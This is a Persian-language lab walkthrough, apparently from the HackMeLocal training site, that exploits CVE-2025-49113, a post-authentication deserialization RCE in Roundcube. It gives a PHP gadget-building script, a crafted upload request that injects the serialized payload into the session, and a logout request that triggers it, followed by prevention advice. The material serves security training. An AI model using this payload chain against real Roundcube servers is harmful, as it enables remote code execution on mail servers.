Loading...
آیکون دسته‌بندی CVE

CVE-2025-49113 - Roundcube

...
فهرست مطالب

راهنمای عملی اکسپلویت Roundcube (CVE-2025-49113) در آزمایشگاه HackMeLocal

در این چالش، به صورت گام به گام یکی از آسیب‌پذیری‌های جذاب و بحرانی وب‌میل Roundcube را تحلیل و اجرا می‌کنیم. آسیب‌پذیری CVE-2025-49113 یک ضعف از نوع Post-Auth RCE است که به مهاجم اجازه می‌دهد پس از ورود به حساب کاربری، با دستکاری هوشمندانه سشن (Session)، کد دلخواه خود را روی سرور اجرا کند. هدف ما در این آزمایشگاه، بازسازی دستی این حمله با استفاده از ابزارهای استاندارد تست نفوذ است.

هدف چالش (Goal): اجرای یک دستور بر روی سرور هدف (مثلاً whoami) از طریق بهره‌برداری از آسیب‌پذیری PHP Object Deserialization پس از ورود به پنل Roundcube در آزمایشگاه hackmelocal.com.

ابزارهای مورد نیاز (Tools Needed)

  • مرورگر وب
  • نرم‌افزار Burp Suite برای رهگیری و دستکاری درخواست‌ها
  • دسترسی به یک حساب کاربری معتبر در Roundcube آزمایشگاه
  • یک مفسر PHP محلی (برای ساخت Payload)

مراحل انجام چالش (Walkthrough)

فرآیند حمله شامل چهار مرحله اصلی است: احراز هویت، ساخت Payload، تزریق و در نهایت، فعال‌سازی. بیایید این مراحل را با هم طی کنیم.

مرحله 1: ورود به سیستم و ضبط درخواست‌ها

ابتدا Burp Suite را اجرا کرده و آن را به عنوان پراکسی مرورگر خود تنظیم کنید. سپس وارد حساب کاربری خود در Roundcube شوید. در تب Proxy > HTTP history در Burp، درخواست POST مربوط به لاگین را پیدا کنید. این درخواست حاوی توکن CSRF (با نام _token) و کوکی سشن اولیه است. کوکی احراز هویت شده نهایی را از پاسخ‌های بعدی (که معمولاً با کد 302 همراه است) استخراج کنید. این کوکی برای تمام مراحل بعدی ضروری است.

ضبط کوکی احراز هویت شده در Burp Suite

مرحله 2: ساخت Payload مخرب (Crafting the Malicious Payload)

این مهم‌ترین بخش حمله است. ما باید یک آبجکت PHP بسازیم، آن را سریالایز کنیم و سپس آن را برای تزریق آماده کنیم. گجت مورد استفاده ما کلاس Crypt_GPG_Engine است.

یک فایل PHP با نام generate_payload.php روی سیستم خود ایجاد کرده و کد زیر را در آن قرار دهید:


<?php
class Crypt_GPG_Engine {
    private $_gpgconf;
    public function __construct($cmd) {
        $this->_gpgconf = $cmd . ';#'; 
    }
}

$command = 'id > /tmp/pwned.txt'; 
$serialized_object = serialize(new Crypt_GPG_Engine($command));

echo "Your Serialized Payload:\n";
echo $serialized_object;
echo "\n";
    

این اسکریپت را از طریق ترمینال اجرا کنید:


php generate_payload.php
    

خروجی یک رشته سریالایز شده خواهد بود. این رشته را کپی کنید؛ در مرحله بعد به آن نیاز داریم.

مرحله 3: تزریق Payload با Session Corruption

حالا باید Payload ساخته شده را به سرور تزریق کنیم. این کار از طریق بخش آپلود تصویر در تنظیمات هویت (Identities) انجام می‌شود. ما یک درخواست POST دستکاری شده را با استفاده از Burp Repeater ارسال می‌کنیم.

یک درخواست آپلود تصویر معمولی را در Burp رهگیری کرده و آن را به Repeater بفرستید. سپس درخواست را مطابق الگوی زیر ویرایش کنید:

  1. ویرایش URL: پارامتر _from را طوری تغییر دهید که با edit-! شروع شود و بخشی از Payload ما را در خود جای دهد.
  2. ویرایش Body: درخواست را به نوع multipart/form-data تغییر دهید. در بخش filename، بخش دیگری از Payload را قرار دهید.

ساختار نهایی درخواست شما در Burp Repeater باید شبیه به این باشد:


POST /roundcube/?_from=edit-!";i:0;S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:24:"id > /tmp/pwned.txt;#";i:0;b:0;}"}}&_task=settings&_action=upload&_framed=1 HTTP/1.1
Host: hackmelocal.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
...

------WebKitFormBoundary...
Content-Disposition: form-data; name="_file[]"; filename="x|b:0;preferences_time|b:0;preferences|s:185:\"a:3:{i:0;s:57:\"[رشته سریالایز شده شما در اینجا]\";i:1;i:1;i:2;i:2;}.png"
Content-Type: image/png

[محتوای یک فایل PNG کوچک]
------WebKitFormBoundary...--
    

نکته مهم: ساختار دقیق مقادیر _from و filename پیچیده است و به طول دستور شما بستگی دارد. منطق اسکریپت اکسپلویت این مقادیر را به صورت پویا محاسبه می‌کند. برای این چالش، می‌توانید از ساختار بالا به عنوان یک الگو استفاده کرده و رشته سریالایز شده خود را در آن جایگذاری کنید. ممکن است نیاز به کمی آزمون و خطا برای تنظیم طول رشته (مقدار s:185) داشته باشید.

تزریق Payload با Burp Repeater

پس از ارسال این درخواست، اگر پاسخ موفقیت‌آمیز بود، Payload شما در سشن سرور ذخیره شده است.

مرحله 4: فعال‌سازی و اجرای کد (Triggering)

آخرین مرحله، فعال کردن Payload است. جالب اینجاست که این کار با ارسال یک درخواست خروج از سیستم (Logout) انجام می‌شود! فرآیند Logout باعث می‌شود Roundcube داده‌های سشن را برای ذخیره‌سازی نهایی پردازش کند. در این حین، تابع unserialize() روی داده‌های تزریق شده ما فراخوانی شده و دستور اجرا می‌شود.

یک درخواست به آدرس زیر در Burp Repeater ارسال کنید (توکن CSRF جدید را از صفحه اصلی دریافت کنید):


GET /roundcube/?_task=logout&_token=[توکن CSRF شما در اینجا] HTTP/1.1
Host: hackmelocal.com
...
    

پس از ارسال این درخواست، دستور شما باید روی سرور اجرا شده باشد. برای تأیید، می‌توانید وجود فایل /tmp/pwned.txt را بررسی کنید.

راهکار و روش جلوگیری (Prevention)

امن‌سازی در برابر این نوع حملات نیازمند رویکردی چندلایه است:

  • به‌روزرسانی فوری: اولین و مهم‌ترین اقدام، آپدیت کردن Roundcube به آخرین نسخه پایدار است.
  • اعتبارسنجی سختگیرانه ورودی: هرگز به داده‌های ورودی از سمت کاربر، به‌ویژه در ساختاردهی داده‌های حساس مانند سشن، اعتماد نکنید.
  • اجتناب از unserialize(): تا حد امکان از تابع unserialize() روی داده‌های غیرقابل اعتماد خودداری کرده و از جایگزین‌های امن‌تری مانند json_decode() استفاده کنید.

تقدیر و تشکر

تحلیل و ساخت اکسپلویت اولیه برای این آسیب‌پذیری توسط محقق امنیتی Kirill Firsov از تیم FearsOff انجام شده است. از ایشان بابت به اشتراک‌گذاری یافته‌هایشان با جامعه امنیت سایبری قدردانی می‌کنیم. همچنین از کانال تلگرامی t.me/gotocve بابت تهیه و انتشار این مقاله ارزشمند سپاسگزاریم. برای اطلاعات بیشتر می‌توانید به منابع زیر مراجعه کنید:

منابع برای درک عمیق‌تر Deserialization

اگر می‌خواهید با مفاهیم حملات Deserialization و زنجیره‌های گجت (Gadget Chains) بیشتر آشنا شوید، مطالعه منابع زیر را به شدت توصیه می‌کنیم:


سلب مسئولیت: این چالش صرفاً با اهداف آموزشی و پژوهشی در محیط کنترل شده آزمایشگاه hackmelocal.com طراحی شده است. هرگونه سوءاستفاده از این اطلاعات در سیستم‌های واقعی غیرقانونی و غیراخلاقی است.